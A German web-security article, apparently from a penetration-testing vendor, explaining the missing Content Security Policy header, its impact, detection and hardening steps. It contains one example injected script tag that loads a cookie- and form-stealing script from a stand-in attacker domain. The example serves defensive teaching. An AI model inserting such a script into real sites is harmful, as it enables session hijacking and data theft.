Fehlende Content Security Policy
CWE-693CWE-1021OWASP A05:2021Aktualisiert 4. September 20265 Min. Lesezeit
Eine Content Security Policy teilt dem Browser mit, welche Quellen eine Seite laden und ausführen darf. Fehlt dieser Header, akzeptiert der Browser jedes Skript, jedes Stylesheet und jede Verbindung, die in der Seite landet. Eine CSP verhindert keine Schwachstellen, begrenzt aber, was ein Angreifer mit einer gefundenen Lücke anrichten kann.
Ein Browser ist von Natur aus grenzenlos gutgläubig: Er führt jedes Skript aus, das in der Seite steht, unabhängig davon, woher es stammt. Mit einer Content Security Policy setzen Sie dieser Gutgläubigkeit Grenzen. In diesem Artikel lesen Sie, was der Header genau leistet, wie Sie ihn ohne Produktionsstörungen einführen und warum eine nachlässig formulierte CSP mitunter schädlicher ist als gar keine.
Was ist eine Content Security Policy?
Eine Content Security Policy (CSP) ist ein HTTP-Header, mit dem der Server dem Browser mitteilt, welche Ressourcen eine Seite verwenden darf: aus welchen Domains Skripte und Stylesheets stammen dürfen, woher Bilder geladen werden dürfen, mit welchen Servern die Seite Verbindung aufnehmen darf und ob die Seite in einen Frame gesetzt werden darf. Alles, was nicht ausdrücklich erlaubt ist, blockiert der Browser.
Vergleichen Sie es mit der Gästeliste am Eingang einer geschlossenen Veranstaltung. Ohne Liste lässt der Pförtner jeden hinein, der halbwegs passend aussieht; mit Liste kommt nur hinein, wer tatsächlich darauf steht. Der Pförtner prüft also nicht, ob jemand Böses im Schilde führt, sondern nur, ob er dazugehört. Genau dieser Unterschied macht eine CSP so wirksam: Der Browser muss schädlichen Code nicht erkennen, er muss nur wissen, dass dieser Code nicht auf der Liste steht.
Es handelt sich ausdrücklich um eine Verteidigungsschicht, nicht um eine Lösung. Eine CSP repariert keine Schwachstelle in Ihrem Code. Sie sorgt dafür, dass ein Angreifer, dem es dennoch gelingt, Skriptcode in Ihre Seite zu bringen, damit deutlich weniger anfangen kann: Das Skript wird nicht ausgeführt, oder die erbeuteten Daten lassen sich nicht an einen eigenen Server senden.
Wie funktioniert eine Content Security Policy?
Der Browser liest die Richtlinie beim Laden der Seite und hält sich anschließend bei jeder Ressource daran. Fehlt der Header, gilt schlicht keine Einschränkung.
Verwundbar:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Es gibt keine Richtlinie, also tut der Browser, was die Seite ihm aufträgt. Gelingt es einem Angreifer, über ein nicht maskiertes Eingabefeld Folgendes in das HTML zu bringen, wird es einfach ausgeführt:
<!-- Über ein verwundbares Eingabefeld in der Seite gelandet -->
<script src="https://boesartig.example/sammeln.js"></script>
Das Skript lädt von einer fremden Domain, läuft mit allen Rechten Ihrer Seite, kann das Session-Cookie und den Inhalt von Formularen auslesen und diese anschließend an den Server des Angreifers senden. Kein einziger dieser Schritte wird aufgehalten.
Sicher:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nD0mP3rReQu3st';
style-src 'self';
img-src 'self' data:;
connect-src 'self';
frame-ancestors 'none';
object-src 'none';
base-uri 'self';
form-action 'self'
Der Angriff scheitert nun an mehreren Stellen gleichzeitig. Das externe Skript stammt nicht von 'self' und trägt keine Nonce, der Browser weigert sich also, es zu laden. Würde der Angreifer stattdessen Inline-JavaScript einschleusen, liefe das auf dieselbe Nonce-Anforderung auf: Er kann den Wert nicht erraten, weil dieser bei jeder Anfrage neu erzeugt wird. Und selbst wenn auf anderem Weg Code liefe, begrenzt connect-src 'self', wohin dieser Daten senden darf.
Die übrigen Direktiven schließen die klassischen Umwege. object-src 'none' schließt veraltete Plug-ins aus, base-uri 'self' verhindert, dass ein eingeschleustes <base>-Tag alle relativen Pfade zum Angreifer umleitet, form-action 'self' unterbindet, dass ein Formular heimlich anderswo abgeschickt wird, und frame-ancestors 'none' blockiert Clickjacking. Gerade diese vier werden oft vergessen, weil sie nicht von default-src erben.
'unsafe-inline' bei script-src zulässt, bietet gegen Cross-Site Scripting praktisch keinen Schutz mehr: Genau die Einschleusung, die Sie verhindern wollten, wird damit wieder erlaubt. Lassen sich Inline-Skripte nicht sofort ablösen, verwenden Sie Nonces oder Hashes statt dieser Ausnahme.Welche Auswirkungen hat eine fehlende CSP?
Für sich genommen ist das ein Härtungsbefund: Es gibt keine Schwachstelle, die sich unmittelbar ausnutzen ließe, weshalb der Schweregrad üblicherweise als niedrig bewertet wird. Die Auswirkung liegt in dem, was nicht geschieht, wenn es doch schiefgeht.
Findet ein Angreifer irgendwo in Ihrer Anwendung eine Möglichkeit zum Cross-Site Scripting, entscheidet das Vorhandensein einer CSP über den Unterschied zwischen einem blockierten Skript und einer vollständigen Kontoübernahme. Dasselbe gilt bei einer kompromittierten externen Bibliothek: Ohne script-src-Beschränkung und ohne Integritätsprüfung läuft der veränderte Code des Anbieters ungehindert auf Ihrer Domain. Auch das Kapern von Formularen und das Einschleusen eines <base>-Tags sind ohne Richtlinie trivial.
Hinzu kommt, dass eine fehlende CSP selten ein für sich stehendes Problem ist. Meist ist sie ein Hinweis darauf, dass die HTTP-Header insgesamt nicht zentral eingerichtet wurden, weshalb häufig auch frame-ancestors, X-Content-Type-Options und HSTS fehlen.
Wie spürt man eine fehlende CSP auf?
Festzustellen, dass der Header fehlt, ist eine Sache von einer einzigen Anfrage. Die inhaltliche Bewertung ist die Arbeit, auf die es ankommt, denn eine vorhandene CSP sagt für sich genommen wenig aus.
Ein Tester prüft, ob die Richtlinie sich nicht mit 'unsafe-inline' oder 'unsafe-eval' selbst aushebelt, ob keine Platzhalter oder zu weit gefassten Domains in script-src stehen und ob häufig vergessene Direktiven wie object-src, base-uri, form-action und frame-ancestors tatsächlich gesetzt sind. Ebenso wird geprüft, ob Nonces pro Anfrage eindeutig sind, denn eine feste, wiederverwendete Nonce entspricht funktional 'unsafe-inline', und ob die Richtlinie auf allen Routen mitgesendet wird statt nur auf der Startseite. Ein weiterer häufiger Fehler ist ein erlaubtes CDN, das beliebige Nutzerdateien ausliefert, womit die gesamte Beschränkung faktisch aufgehoben ist. AssistSec bewertet bei einem Penetrationstest nicht nur das Vorhandensein des Headers, sondern versucht, die Richtlinie mit den von Ihnen selbst zugelassenen Quellen zu umgehen.
Wie verhindert man eine fehlende oder schwache CSP?
- Senden Sie bei jeder HTTP-Antwort einen
Content-Security-Policy-Header mit, zentral geregelt in Webserver, Proxy oder Middleware. - Beginnen Sie mit
default-src 'self'und erweitern Sie nur um Quellen, die Sie nachweislich benötigen. - Führen Sie die Richtlinie zunächst mit
Content-Security-Policy-Report-Onlyund einem Meldeendpunkt ein, damit Sie Verstöße sehen, bevor Sie etwas blockieren. - Vermeiden Sie
'unsafe-inline'und'unsafe-eval'; nutzen Sie pro Anfrage erzeugte Nonces oder Hashes für Skripte, die inline bleiben müssen. - Setzen Sie die Direktiven, die nicht von
default-srcerben, ausdrücklich:object-src,base-uri,form-actionundframe-ancestors. - Erlauben Sie niemals ein ganzes CDN, das von Nutzern hochgeladene Dateien ausliefert; das macht die Beschränkung bedeutungslos.
- Liefern Sie die CSP als HTTP-Header aus und nicht als Meta-Tag, da dort einige Direktiven ignoriert werden.
- Prüfen Sie die Richtlinie nach jeder Änderung am Frontend erneut und halten Sie den Meldeendpunkt aktiv, um Rückschritte zu erkennen.
Quellen
Häufige Fragen
Ersetzt eine CSP das Bereinigen von Eingaben?
Nein, und das ist das hartnäckigste Missverständnis rund um diesen Header. Eine CSP ist ein zweites Schloss an der Tür: Sie begrenzt den Schaden, wenn doch irgendwo Skriptcode in Ihrer Seite landet. Das korrekte Maskieren und Validieren von Eingaben bleibt die primäre Verteidigung gegen Cross-Site Scripting; die CSP fängt auf, was durchrutscht.
Kann ich eine CSP einführen, ohne meine Website zu zerlegen?
Ja. Senden Sie zunächst Content-Security-Policy-Report-Only zusammen mit einem Meldeendpunkt. Der Browser blockiert dann nichts, meldet aber jeden Verstoß. So sehen Sie über Wochen, welche Quellen Ihre Anwendung tatsächlich nutzt, und erzwingen die Richtlinie anschließend ohne Überraschungen.
Genügt eine CSP mit ausschließlich default-src self?
Das ist eine starke Grundlage, meist jedoch zu streng für den unveränderten Betrieb und zugleich unvollständig. Es fehlen unter anderem frame-ancestors, das Clickjacking blockiert, und object-src, das veraltete Plug-ins abwehrt. Beide erben nicht von default-src und müssen gesondert benannt werden.
Funktioniert eine CSP auch in einem Meta-Tag?
Weitgehend, aber nicht vollständig: Einige Direktiven, darunter frame-ancestors, sandbox und report-uri, werden in einem Meta-Tag ignoriert. Zudem gilt die Richtlinie erst ab dem Moment, in dem der Browser dieses Tag erreicht. Liefern Sie eine CSP deshalb immer als HTTP-Header aus.
Verwandte Artikel
- SchwachstellenCWE-1021A05:2021ClickjackingClickjacking erklärt: Wie ein Angreifer Ihre Website unsichtbar in einen Frame lädt und Klicks Ihrer Nutzer abfängt, und welche Header das blockieren.
- SchwachstellenCWE-79A03:2021Cross-Site-Scripting (XSS)Cross-Site-Scripting (XSS) schleust schädliche Skripte in Webseiten ein, die im Browser der Besucher laufen. So funktioniert XSS und so verhindern Sie es.
- SchwachstellenCWE-693A05:2021CSP erlaubt Inline-Skripte und evalEine CSP mit unsafe-inline oder unsafe-eval hält Cross-Site Scripting nicht mehr auf. Lesen Sie warum, und wie Sie mit Nonces und Hashes davon loskommen.
- SchwachstellenCWE-16A05:2021Security MisconfigurationSecurity Misconfiguration erklärt: wie Standardpasswörter, Debug-Modi und offene Cloud-Buckets Angreifern Zugang geben, und wie Sie sich schützen.
- SchwachstellenCWE-353A08:2021Externe Skripte ohne IntegritätsprüfungWer JavaScript ohne integrity-Attribut von einem CDN lädt, führt jede dortige Änderung unmittelbar aus. Lesen Sie, wie SRI das blockiert.